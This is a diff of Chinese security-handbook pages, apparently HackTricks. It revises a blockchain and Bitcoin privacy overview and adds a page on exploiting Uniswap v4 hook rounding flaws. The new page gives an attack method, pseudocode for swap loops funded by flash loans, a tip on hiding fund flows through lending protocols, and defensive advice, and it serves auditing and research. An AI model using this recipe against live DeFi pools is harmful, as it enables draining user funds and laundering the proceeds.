- **智能合约** 被定义为在区块链上执行的程序,当满足特定条件时,自动化协议执行,无需中介 - **Smart Contracts** 指在满足特定条件时在区块链上执行的程序,能够在无需中介的情况下自动履行协议
- **去中心化应用dApps** 基于智能合约,具有用户友好的前端和透明、可审计的后端。 - **Decentralized Applications (dApps)** 基于智能合约构建,具有用户友好的前端和透明、可审计的后端。
- **代币与币** 的区别在于,币作为数字货币,而代币在特定上下文中代表价值或所有权。 - **Tokens & Coins** 区分代币与币coins 用作数字货币,而 tokens 在特定语境中表示价值或所有权。
- **实用代币** 授予对服务的访问权限,而 **安全代币** 表示资产所有权。 - **Utility Tokens** 授予对服务的访问权,**Security Tokens** 则表示资产所有权。
- **DeFi** 代表去中心化金融,提供无中央权威的金融服务。 - **DeFi** 代表 Decentralized Finance提供无需中央机构的金融服务。
- **DEX****DAO** 分别指去中心化交易平台和去中心化自治组织。 - **DEX****DAOs** 分别指去中心化交易平台和去中心化自治组织。
## 共识机制 ## 共识机制
共识机制确保区块链上安全和一致的交易验证 共识机制确保区块链上交易验证的安全性和一致性
- **工作量证明PoW** 依赖计算能力进行交易验证 - **Proof of Work (PoW)** 依赖计算能力来验证交易
- **权益证明PoS** 要求验证者持有一定数量的代币相比于PoW减少能耗。 - **Proof of Stake (PoS)** 要求验证者持有一定数量的代币,与 PoW 相比降低了能耗。
## 比特币基础知识 ## 比特币基础
### 交易 ### 交易
比特币交易涉及在地址之间转移资金。交易通过数字签名进行验证,确保只有私钥的有者可以发起转账。 比特币交易涉及在地址之间转移资金。交易通过数字签名进行验证,确保只有私钥的有者可以发起转账。
#### 关键组成部分: #### 关键组成部分:
- **多重签名交易** 需要多个签名来授权交易。 - **Multisignature Transactions** 需要多个签名来授权交易。
- 交易由 **输入**(资金来源)、**输出**(目的地)、**费用**(支付给矿工)和 **脚本**(交易规则)组成。 - 交易由 **inputs**(资金来源)、**outputs**(目标地址)、**fees**(支付给矿工的费用)和 **scripts**(交易规则)组成。
### 闪电网络 ### Lightning Network
旨在通过允许在一个通道内进行多笔交易来增强比特币的可扩展性,仅将最终状态广播到区块链 旨在通过允许在通道内进行多次交易,仅将最终状态广播到区块链,从而提升比特币的可扩展性
## 比特币隐私问题 ## 比特币隐私问题
隐私攻击,如 **共同输入所有权****UTXO找零地址检测**,利用交易模式。策略如 **混合器****CoinJoin** 通过模糊用户之间的交易链接来提高匿名性。 隐私攻击**Common Input Ownership****UTXO Change Address Detection** 利用交易模式进行分析。使用 **Mixers****CoinJoin** 等策略可以通过混淆用户之间的交易关联来提升匿名性。
## 匿名获取比特币 ## 匿名获取比特币
方法包括现金交易、挖矿和使用混合器。**CoinJoin** 混合多笔交易以复杂化可追溯性,而 **PayJoin** 将CoinJoins伪装成常规交易以提高隐私 方法包括现金交易、挖矿和使用混合服务。**CoinJoin** 将多笔交易混合以增加可追踪性的难度,而 **PayJoin** 则将 CoinJoin 伪装成普通交易以获得更高隐私性
# 比特币隐私攻击 # Bitcoin Privacy Atacks
# 比特币隐私攻击总结 # 比特币隐私攻击概述
在比特币的世界中,交易的隐私和用户的匿名性常常是关注的主题。以下是攻击者可能通过几种常见方法破坏比特币隐私的简化概述 在比特币世界中,交易隐私和用户匿名性常常受到关注。下面是几种常见的攻击方法的简要概述,说明攻击者如何破坏比特币隐私
## **共同输入所有权假设** ## **Common Input Ownership Assumption**
由于涉及的复杂性,来自不同用户的输入在单笔交易中组合的情况通常很少。因此,**同一交易中的两个输入地址通常被假定属于同一所有者**。 由于将来自不同用户的 inputs 合并到单笔交易中通常较少见且复杂,因此 **同一交易中的两个输入地址通常被假定属于同一所有者**
## **UTXO找零地址检测** ## **UTXO Change Address Detection**
UTXO**未花费交易输出**,必须在交易中完全花费。如果只有一部分发送到另一个地址,剩余部分将转到新的找零地址。观察者可以假设这个新地址属于发送者,从而损害隐私 UTXO**Unspent Transaction Output未花费交易输出**,在交易中必须全部被消费。如果只把它的一部分发送到另一个地址,剩余部分会发送到新的 change 地址。观察者可以假定这个新地址属于发送方,从而导致隐私泄露
### 示例 ### 示例
了解决这个问题,混合服务或使用多个地址可以帮助模糊所有权。 减轻此问题,可以使用混合服务或使用多个地址来帮助模糊所有权。
## **社交网络与论坛曝光** ## **社交网络与论坛暴露**
用户有时在网上分享他们的比特币地址,使得 **很容易将地址与其所有者关联** 用户有时在网上分享他们的比特币地址,使得**很容易将地址与其所有者关联**。
## **交易图分析** ## **交易图分析**
交易可以被可视化为图形,揭示基于资金流动的用户之间的潜在连接 交易可以被可视化为图,从资金流向中揭示用户之间的潜在关联
## **不必要输入启发式(最优找零启发式** ## **不必要输入启发式(Optimal Change Heuristic**
该启发式基于分析具有多个输入和输出的交易,以猜测哪个输出是返回给发送者的找零 该启发式基于分析含有多个 inputs 和 outputs 的交易来猜测哪个 output 是返回给发送者的找零地址
### 示例 ### 示例
```bash ```bash
2 btc --> 4 btc 2 btc --> 4 btc
3 btc 1 btc 3 btc 1 btc
``` ```
如果添加更多输入使得变化输出大于任何单一输入,它可能会混淆启发式分析 如果添加更多的输入使得找零输出比任何单个输入都大,会让该启发式算法产生混淆
## **强制地址重用** ## **强制地址重用**
攻击者可能会向之前使用过的地址发送少量资金,希望收款人将这些资金与未来交易中的其他输入结合,从而将地址链接在一起 攻击者可能会向以前使用过的地址发送少量比特币,希望收款人在未来的交易中将这些与其他输入合并,从而将地址关联起来
### 正确的钱包行为 ### 正确的钱包行为
钱包应避免使用在已经使用过的空地址上收到的币,以防止这种隐私泄露 钱包应避免使用在已使用且为空的地址上接收到的币,以防止这种隐私 leak
## **其他区块链分析技术** ## **其他区块链分析技术**
- **确切的支付金额:** 没有找零的交易很可能是在两个由同一用户拥有的地址之间进行的 - **Exact Payment Amounts:** 没有找零的交易很可能是两个属于同一用户的地址之间的交易
- **整数金额:** 交易中的整数金额表明这是一次支付,而非整数输出很可能是找零。 - **Round Numbers:** 交易中的整数金额表明这是一次付款,非整数的输出很可能是找零。
- **钱包指纹识别:** 不同的钱包具有独特的交易创建模式,允许分析师识别所使用的软件以及可能的找零地址。 - **Wallet Fingerprinting:** 不同钱包有独特的交易创建模式,分析人员可以据此识别所使用的软件并可能找出找零地址。
- **金额与时间相关性:** 公开交易时间或金额可能使交易可追踪。 - **Amount & Timing Correlations:** 披露交易时间或金额可以使交易可被追踪。
## **流量分析** ## **Traffic Analysis**
通过监控网络流量,攻击者可能将交易或区块与IP地址关联从而危及用户隐私。如果一个实体运营多个比特币节点这种情况尤其明显因为这增强了他们监控交易的能力 通过监控网络流量,攻击者可能将交易或区块与 IP 地址关联,进而破坏用户隐私。如果某个实体运行大量 Bitcoin 节点,他们监视交易的能力会增强
## 更多 ## More
有关隐私攻击和防御的全面列表,请访问 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy) 要查看全面的隐私攻击和防御列表,请访问 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# 匿名比特币交易 # 匿名 Bitcoin 交易
## 匿名获取比特币的方法 ## 以匿名方式获取比特币的方式
- **现金交易:** 通过现金获取比特币。 - **Cash Transactions**: 通过现金获取比特币。
- **现金替代品:** 购买礼品卡并在线兑换比特币。 - **Cash Alternatives**: 购买礼品卡并在线兑换为比特币。
- **挖矿:** 通过挖矿获得比特币是最私密的方法尤其是单独进行时因为挖矿池可能知道矿工的IP地址。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) - **Mining**: 获得比特币最私密的方式是通过挖矿,尤其是独自挖矿,因为矿池可能会知道矿工的 IP 地址。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **盗窃:** 理论上,盗窃比特币可能是另一种匿名获取比特币的方法,尽管这是非法的且不推荐 - **Theft**: 理论上,偷窃比特币也可能是另一种匿名获取方式,但这是非法且不推荐的
## 混服务 ## 混服务
通过使用混合服务,用户可以**发送比特币**并接收**不同的比特币作为回报**,这使得追踪原始所有者变得困难。然而,这需要对服务的信任,以确保其不保留日志并实际返回比特币。替代的混合选项包括比特币赌场。 通过使用混币服务,用户可以发送比特币并收到不同的比特币作为回报,从而使追踪原始所有者变得困难。然而,这需要信任该服务不会保留日志并且确实会返还比特币。替代的混币选项包括比特币赌场。
## CoinJoin ## CoinJoin
**CoinJoin** 将来自不同用户的多个交易合并为一个,复杂化了任何试图将输入与输出匹配的过程。尽管其有效性,具有独特输入和输出大小的交易仍然可能被追踪。 CoinJoin 将来自不同用户的多个交易合并为一个,这使得试图将输入与输出匹配的工作变得复杂。尽管它有效,但具有独特输入和输出大小的交易仍可能被追踪。
可能使用CoinJoin的示例交易包括 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a``85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` 示例交易(可能使用了 CoinJoin包括 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a``85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`
有关更多信息,请访问 [CoinJoin](https://coinjoin.io/en)。有关以太坊上的类似服务,请查看 [Tornado Cash](https://tornado.cash),它通过矿工的资金匿名化交易。 欲了解更多信息,请访问 [CoinJoin](https://coinjoin.io/en)。对于以太坊上的类似服务,请查看 [Tornado Cash](https://tornado.cash),它使用来自矿工的资金来匿名化交易。
## PayJoin ## PayJoin
**PayJoin**或P2EP是CoinJoin的一种变体在两个参与方例如客户和商家之间伪装交易为常规交易而没有CoinJoin特有的相等输出特征。这使得检测变得极其困难并可能使交易监控实体使用的共同输入所有权启发式失效。 作为 CoinJoin 的一种变体PayJoin或 P2EP将两方例如客户和商家之间的交易伪装成普通交易而不具有 CoinJoin 那种特征性的相等输出。这使得它极难被检测,可能使交易监控机构使用的 common-input-ownership heuristic 失效。
```plaintext ```plaintext
2 btc --> 3 btc 2 btc --> 3 btc
5 btc 4 btc 5 btc 4 btc
``` ```
像上面这样的交易可能是 PayJoin增强隐私,同时与标准比特币交易无异 像上面这样的交易可能是 PayJoin它在增强隐私的同时仍与标准 bitcoin 交易无法区分
**PayJoin 的使用可能会显著破坏传统监控方法**,使其在追求交易隐私方面成为一个有前景的发展。 **使用 PayJoin 可能会显著破坏传统的监控方法**,因此在追求交易隐私方面它是一项很有前途的发展。
# 加密货币隐私最佳实践 # 加密货币隐私最佳实践
## **钱包同步技术** ## **钱包同步技术**
为了维护隐私和安全,与区块链同步钱包至关重要。有两种方法脱颖而出 为了维护隐私和安全,将钱包与区块链同步至关重要。有两种突出的同步方法:
- **全节点**:通过下载整个区块链,全节点确保最大隐私。所有曾经进行的交易都存储在本地,使对手无法识别用户感兴趣的交易或地址。 - **完整节点 (Full node)**:通过下载整个区块链,完整节点能确保最大的隐私。所有历史交易都保存在本地,这使得对手无法识别用户感兴趣的是哪些交易或地址。
- **客户端区块过滤**:此方法涉及为区块链中的每个区块创建过滤器,使钱包能够识别相关交易,而不向网络观察者暴露特定兴趣。轻量级钱包下载这些过滤器,仅在找到与用户地址匹配时才获取完整区块。 - **客户端区块过滤 (Client-side block filtering)**:该方法为区块链中的每个区块创建过滤器,允许钱包识别相关交易而不会向网络观察者暴露特定兴趣。轻量级钱包下载这些过滤器,只有在与用户地址匹配时才获取完整区块。
## **利用 Tor 实现匿名性** ## **使用 Tor 以实现匿名性**
鉴于比特币在点对点网络上运行,建议使用 Tor 来掩盖您的 IP 地址,在与网络交互时增强隐私。 鉴于 Bitcoin 在点对点网络上运行,建议使用 Tor 来掩盖你的 IP 地址,从而在与网络交互时增强隐私。
## **防止地址重用** ## **防止地址重用**
为了保护隐私,使用新地址进行每笔交易至关重要。重用地址可能会通过将交易链接到同一实体而危及隐私。现代钱包通过其设计来阻止地址重用。 为了保护隐私,每笔交易使用新地址至关重要。重用地址会通过将交易链接到同一实体而危及隐私。现代钱包通过设计来不鼓励地址重用。
## **交易隐私策略** ## **交易隐私策略**
- **多笔交易**:将支付拆分为几笔交易可以模糊交易金额,从而阻止隐私攻击。 - **多笔交易 (Multiple transactions)**:将一笔支付拆分为多笔交易可以混淆交易金额,从而阻止隐私攻击。
- **避免找零**:选择不需要找零输出的交易可以通过破坏找零检测方法来增强隐私。 - **避免找零 (Change avoidance)**:选择不需要找零输出的交易可以通过打乱找零检测方法来增强隐私。
- **多个找零输出**:如果无法避免找零,生成多个找零输出仍然可以改善隐私。 - **多个找零输出 (Multiple change outputs)**:如果无法避免找零,生成多个找零输出仍然可以提高隐私。
# **门罗币:匿名性的灯塔** # **Monero匿名的灯塔**
门罗币满足数字交易中对绝对匿名性的需求,为隐私设定了高标准。 Monero 解决了数字交易中对绝对匿名性的需求,为隐私设定了高标准。
# **以太坊:燃料费和交易** # **EthereumGas 与交易**
## **理解燃料费** ## **理解 Gas**
燃料费衡量在以太坊上执行操作所需的计算工作量,以 **gwei** 计价。例如,一笔交易的费用为 2,310,000 gwei或 0.00231 ETH涉及燃料限制和基本费用并向矿工提供小费以激励他们。用户可以设置最高费用以确保他们不会支付过多超出部分会被退还。 Gas 衡量在 Ethereum 上执行操作所需的计算量,价格以 **gwei** 计。例如,耗费 2,310,000 gwei或 0.00231 ETH的交易涉及 gas 限额和基础费,并可附加小费以激励矿工。用户可以设置最高费用以确保不会多付,超额部分会被退还。
## **执行交易** ## **执行交易**
以太坊中的交易涉及发送者和接收者,可以是用户或智能合约地址。它们需要支付费用并且必须被挖掘。交易中的关键信息包括接收者、发送者的签名、价值、可选数据、燃料限制和费用。值得注意的是,发送者的地址是从签名中推导出来的,因此在交易数据中不需要它 在 Ethereum 中,交易涉及发送方和接收方,两者都可以是用户地址或 smart contract 地址。交易需要支付费用并且必须被挖矿。交易中的关键信息包括接收方、发送方的签名、金额、可选数据、gas 限额和费用。值得注意的是,发送方的地址是从签名中推导出来的,因此无需在交易数据中显式包含发送方地址
这些实践和机制是任何希望参与加密货币,同时优先考虑隐私和安全的人的基础。 这些做法和机制是任何在优先考虑隐私与安全的前提下参与加密货币的人必须掌握的基础。
## 参考文献 ## References
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
@ -179,4 +181,12 @@ UTXO或 **未花费交易输出**,必须在交易中完全花费。如果
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) - [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) - [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
## DeFi/AMM 利用
如果你在研究对 DEXes 和 AMMs 的实际利用Uniswap v4 hooks、rounding/precision abuse、flashloan amplified thresholdcrossing swaps请查看
{{#ref}}
defi-amm-hook-precision.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,160 @@
# DeFi/AMM 利用Uniswap v4 Hook 精度/舍入 滥用
{{#include ../../banners/hacktricks-training.md}}
本页记录了一类针对 Uniswap v4 风格 DEX 的 DeFi/AMM 利用技术,这类 DEX 在核心数学之上扩展了自定义 hooks。近期 Bunni V2 的一起事件利用了在每次 swap 上执行的 Liquidity Distribution Function (LDF) 中的舍入/精度缺陷,使攻击者能够累积正向 credit 并抽干流动性。
关键思想:如果一个 hook 实现了依赖定点数运算、tick 舍入和阈值逻辑的额外记账,攻击者可以构造精确的 exactinput swaps 去跨越特定阈值,从而使舍入差异朝有利于攻击者的方向累积。重复该模式然后提取被放大的余额即可实现利润,通常用 flash loan 提供资金。
## 背景Uniswap v4 hooks 和 swap 流程
- Hooks 是 PoolManager 在特定生命周期点调用的合约(例如 beforeSwap/afterSwap、beforeAddLiquidity/afterAddLiquidity、beforeRemoveLiquidity/afterRemoveLiquidity
- Pools 使用包含 hooks 地址的 PoolKey 初始化。如果非零PoolManager 会在每次相关操作上执行回调。
- 核心数学使用诸如 Q64.96 的定点格式用于 sqrtPriceX96并使用基于 1.0001^tick 的 tick 算术。任何叠加的自定义数学必须小心匹配舍入语义以避免不变量漂移。
- Swaps 可以是 exactInput 或 exactOutput。在 v3/v4 中,价格沿 tick 移动;跨越 tick 边界可能激活/停用区间流动性。Hooks 可能在阈值/tick 跨越时实现额外逻辑。
## 漏洞原型:阈值跨越的精度/舍入漂移
自定义 hook 中常见的易受攻击模式:
1. Hook 使用整数除法、mulDiv 或定点转换(例如用 sqrtPrice 和 tick 范围在 token ↔ liquidity 之间转换)来计算每次 swap 的流动性或余额增量。
2. 阈值逻辑(例如再平衡、分步重分配或按区间激活)在 swap 大小或价格移动跨越内部边界时触发。
3. 在前向计算和结算路径之间不一致地应用舍入例如向零截断、floor 与 ceil 的差异)。小的差异不会相互抵消,反而记入调用者的账户。
4. 精确的 exactinput swaps 被精心设计为跨越这些边界并重复收割正向舍入余数。攻击者随后提取累计的 credit。
攻击先决条件
- 池使用对每次 swap 执行额外数学的自定义 v4 hook例如 LDF/rebalancer
- 至少存在一条执行路径使舍入在阈值跨越时有利于 swap 发起者。
- 能够原子地重复许多 swapsflash loans 非常适合提供临时资金并摊薄 gas 成本)。
## 实际攻击方法论
1) 识别带有 hooks 的候选池
- 枚举 v4 池并检查 PoolKey.hooks != address(0)。
- 检查 hook 的 bytecode/ABI查找回调beforeSwap/afterSwap 及任何自定义的 rebalancing 方法。
- 寻找那种会:按流动性除法、在 token 数量与流动性之间转换,或聚合 BalanceDelta 且带有舍入的数学逻辑。
2) 建模 hook 的数学与阈值
- 还原 hook 的流动性/重分配公式:输入通常包括 sqrtPriceX96、tickLower/Upper、currentTick、fee tier 和净流动性。
- 映射阈值/步进函数ticks、bucket 边界或 LDF 分段点。确定在每个边界的哪一侧 delta 会被舍入。
- 找出在哪些地方进行 uint256/int256 之间的转换、使用 SafeCast或依赖隐式 floor 的 mulDiv。
3) 校准精确输入以跨越边界
- 使用 Foundry/Hardhat 模拟来计算将价格刚好跨过边界并触发 hook 分支所需的最小 Δin。
- 验证 afterSwap 结算后是否记入调用者的金额多于成本,留下正的 BalanceDelta 或 hook 的记账信用。
- 重复 swaps 以累计 credit然后调用 hook 的提现/结算路径。
示例 Foundrystyle 测试 harness伪代码
```solidity
function test_precision_rounding_abuse() public {
// 1) Arrange: set up pool with hook
PoolKey memory key = PoolKey({
currency0: USDC,
currency1: USDT,
fee: 500, // 0.05%
tickSpacing: 10,
hooks: address(bunniHook)
});
pm.initialize(key, initialSqrtPriceX96);
// 2) Determine a boundarycrossing exactInput
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
// 3) Loop swaps to accrue rounding credit
for (uint i; i < N; ++i) {
pm.swap(
key,
IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: int256(exactIn), // exactInput
sqrtPriceLimitX96: 0 // allow tick crossing
}),
""
);
}
// 4) Realize inflated credit via hookexposed withdrawal
bunniHook.withdrawCredits(msg.sender);
}
```
校准 exactInput
- 计算 tick 步长对应的 ΔsqrtPsqrtP_next = sqrtP_current × 1.0001^(Δtick)。
- 使用 v3/v4 公式近似 ΔinΔx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current))。确保舍入方向与核心实现的数学一致。
- 在边界附近将 Δin 上下调整 ±1 wei以找到 hook 对你有利的舍入分支。
4) 使用 flash loans 放大
- 借入大额名义资金(例如 3M USDT 或 2000 WETH以在原子交易中运行多次迭代。
- 执行已校准的 swap 循环,然后在 flash loan callback 中提取并偿还。
Aave V3 flash loan skeleton
```solidity
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// run thresholdcrossing swap loop here
for (uint i; i < N; ++i) {
_exactInBoundaryCrossingSwap();
}
// realize credits / withdraw inflated balances
bunniHook.withdrawCredits(address(this));
// repay
for (uint j; j < assets.length; ++j) {
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
}
return true;
}
```
5) 退出与跨链复制
- 如果 hooks 部署在多条链上,对每条链重复相同的校准。
- 通过桥接将资金回到目标链,并可选择通过借贷协议循环以混淆资金流。
## hook 数学中的常见根本原因
- Mixed rounding semantics: mulDiv floors while later paths effectively round up; or conversions between token/liquidity apply different rounding.
- Tick alignment errors: using unrounded ticks in one path and tickspaced rounding in another.
- BalanceDelta sign/overflow issues when converting between int256 and uint256 during settlement.
- Precision loss in Q64.96 conversions (sqrtPriceX96) not mirrored in reverse mapping.
- Accumulation pathways: perswap remainders tracked as credits that are withdrawable by the caller instead of being burned/zerosum.
## 防御性建议
- Differential testing: mirror the hooks math vs a reference implementation using highprecision rational arithmetic and assert equality or bounded error that is always adversarial (never favorable to caller).
- Invariant/property tests:
- Sum of deltas (tokens, liquidity) across swap paths and hook adjustments must conserve value modulo fees.
- No path should create positive net credit for the swap initiator over repeated exactInput iterations.
- Threshold/tick boundary tests around ±1 wei inputs for both exactInput/exactOutput.
- Rounding policy: centralize rounding helpers that always round against the user; eliminate inconsistent casts and implicit floors.
- Settlement sinks: accumulate unavoidable rounding residue to protocol treasury or burn it; never attribute to msg.sender.
- Ratelimits/guardrails: minimum swap sizes for rebalancing triggers; disable rebalances if deltas are subwei; sanitycheck deltas against expected ranges.
- Review hook callbacks holistically: beforeSwap/afterSwap and before/after liquidity changes should agree on tick alignment and delta rounding.
## Case study: Bunni V2 (20250902)
- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance.
- Root cause: rounding/precision error in LDF liquidity accounting during thresholdcrossing swaps; perswap discrepancies accrued as positive credits for the caller.
- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exactinput swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave.
- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and bridging to Ethereum.
- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely onchain.
## Hunting checklist
- Does the pool use a nonzero hooks address? Which callbacks are enabled?
- Are there perswap redistributions/rebalances using custom math? Any tick/threshold logic?
- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent?
- Can you construct Δin that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput.
- Does the hook track percaller credits or deltas that can be withdrawn later? Ensure residue is neutralized.
## References
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,182 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
## 基本概念
- **智能合约** 被定义为在区块链上执行的程序,当满足特定条件时,自动化协议执行,无需中介。
- **去中心化应用dApps** 基于智能合约构建,具有用户友好的前端和透明、可审计的后端。
- **代币与币** 区分开来,币作为数字货币,而代币在特定上下文中代表价值或所有权。
- **实用代币** 授予对服务的访问权限,**安全代币** 表示资产所有权。
- **DeFi** 代表去中心化金融,提供无中央权威的金融服务。
- **DEX****DAO** 分别指去中心化交易平台和去中心化自治组织。
## 共识机制
共识机制确保区块链上安全和一致的交易验证:
- **工作量证明PoW** 依赖计算能力进行交易验证。
- **权益证明PoS** 要求验证者持有一定数量的代币相较于PoW减少能耗。
## 比特币基础知识
### 交易
比特币交易涉及在地址之间转移资金。交易通过数字签名进行验证,确保只有私钥的拥有者可以发起转账。
#### 关键组件:
- **多重签名交易** 需要多个签名来授权交易。
- 交易由 **输入**(资金来源)、**输出**(目的地)、**费用**(支付给矿工)和 **脚本**(交易规则)组成。
### 闪电网络
旨在通过允许在一个通道内进行多笔交易来增强比特币的可扩展性,仅将最终状态广播到区块链。
## 比特币隐私问题
隐私攻击,如 **共同输入所有权****UTXO找零地址检测**,利用交易模式。策略如 **混合器****CoinJoin** 通过模糊用户之间的交易链接来提高匿名性。
## 匿名获取比特币
方法包括现金交易、挖矿和使用混合器。**CoinJoin** 混合多笔交易以复杂化可追溯性,而 **PayJoin** 将CoinJoins伪装成常规交易以增强隐私。
# 比特币隐私攻击
# 比特币隐私攻击总结
在比特币的世界中,交易的隐私和用户的匿名性常常是关注的主题。以下是攻击者可能通过几种常见方法破坏比特币隐私的简化概述。
## **共同输入所有权假设**
由于涉及的复杂性,不同用户的输入在单笔交易中组合的情况通常很少。因此,**同一交易中的两个输入地址通常被假定属于同一所有者**。
## **UTXO找零地址检测**
UTXO**未花费交易输出**,必须在交易中完全花费。如果只有一部分发送到另一个地址,剩余部分将转到一个新的找零地址。观察者可以假设这个新地址属于发送者,从而损害隐私。
### 示例
为减轻此问题,混合服务或使用多个地址可以帮助模糊所有权。
## **社交网络与论坛曝光**
用户有时在网上分享他们的比特币地址,使得 **很容易将地址与其所有者关联**
## **交易图分析**
交易可以被可视化为图形,揭示基于资金流动的用户之间的潜在连接。
## **不必要输入启发式(最佳找零启发式)**
该启发式基于分析具有多个输入和输出的交易,以猜测哪个输出是返回给发送者的找零。
### 示例
```bash
2 btc --> 4 btc
3 btc 1 btc
```
如果添加更多输入使得变化输出大于任何单一输入,它可能会混淆启发式分析。
## **强制地址重用**
攻击者可能会向之前使用过的地址发送少量资金,希望收款人将这些资金与未来交易中的其他输入合并,从而将地址链接在一起。
### 正确的钱包行为
钱包应避免使用在已经使用过的空地址上收到的硬币,以防止这种隐私泄露。
## **其他区块链分析技术**
- **确切支付金额:** 没有找零的交易很可能是在两个由同一用户拥有的地址之间进行的。
- **整数金额:** 交易中的整数金额表明这是一次支付,而非整数输出很可能是找零。
- **钱包指纹识别:** 不同的钱包具有独特的交易创建模式,允许分析师识别所使用的软件,并可能识别找零地址。
- **金额与时间相关性:** 公开交易时间或金额可能使交易可追踪。
## **流量分析**
通过监控网络流量攻击者可以潜在地将交易或区块与IP地址关联从而危及用户隐私。如果一个实体运营多个比特币节点这种情况尤其明显增强了他们监控交易的能力。
## 更多
有关隐私攻击和防御的全面列表,请访问 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)。
# 匿名比特币交易
## 匿名获取比特币的方法
- **现金交易:** 通过现金获取比特币。
- **现金替代品:** 购买礼品卡并在线兑换比特币。
- **挖矿:** 通过挖矿获得比特币是最私密的方法尤其是单独进行时因为挖矿池可能知道矿工的IP地址。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **盗窃:** 理论上,盗窃比特币可能是另一种匿名获取比特币的方法,尽管这是非法的且不推荐。
## 混合服务
通过使用混合服务,用户可以**发送比特币**并**收到不同的比特币作为回报**,这使得追踪原始所有者变得困难。然而,这需要对服务的信任,以确保其不保留日志并实际返回比特币。替代的混合选项包括比特币赌场。
## CoinJoin
**CoinJoin** 将来自不同用户的多个交易合并为一个,复杂化了任何试图将输入与输出匹配的过程。尽管其有效性,具有独特输入和输出大小的交易仍然可能被追踪。
可能使用 CoinJoin 的示例交易包括 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a``85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`
有关更多信息,请访问 [CoinJoin](https://coinjoin.io/en)。有关以太坊上的类似服务,请查看 [Tornado Cash](https://tornado.cash),它通过矿工的资金匿名化交易。
## PayJoin
**PayJoin**(或 P2EP是 CoinJoin 的一种变体,它将两个参与方(例如,客户和商家)之间的交易伪装成常规交易,而没有 CoinJoin 特有的相等输出特征。这使得检测变得极其困难,并可能使交易监控实体使用的共同输入所有权启发式失效。
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
像上述交易可以是 PayJoin增强隐私同时与标准比特币交易无区别。
**PayJoin 的使用可能会显著破坏传统监控方法**,使其成为追求交易隐私的一个有前景的发展。
# 加密货币隐私的最佳实践
## **钱包同步技术**
为了维护隐私和安全,与区块链同步钱包至关重要。有两种方法脱颖而出:
- **全节点**:通过下载整个区块链,全节点确保最大隐私。所有曾经进行的交易都存储在本地,使对手无法识别用户感兴趣的交易或地址。
- **客户端区块过滤**:此方法涉及为区块链中的每个区块创建过滤器,使钱包能够识别相关交易,而不向网络观察者暴露特定兴趣。轻量级钱包下载这些过滤器,仅在与用户地址匹配时获取完整区块。
## **利用 Tor 实现匿名性**
鉴于比特币在点对点网络上运行,建议使用 Tor 来掩盖您的 IP 地址,在与网络互动时增强隐私。
## **防止地址重用**
为了保护隐私,使用新地址进行每笔交易至关重要。重用地址可能会通过将交易链接到同一实体而危及隐私。现代钱包通过其设计来阻止地址重用。
## **交易隐私策略**
- **多笔交易**:将支付拆分为几笔交易可以模糊交易金额,阻碍隐私攻击。
- **避免找零**:选择不需要找零输出的交易可以通过干扰找零检测方法来增强隐私。
- **多个找零输出**:如果无法避免找零,生成多个找零输出仍然可以改善隐私。
# **门罗币:匿名性的灯塔**
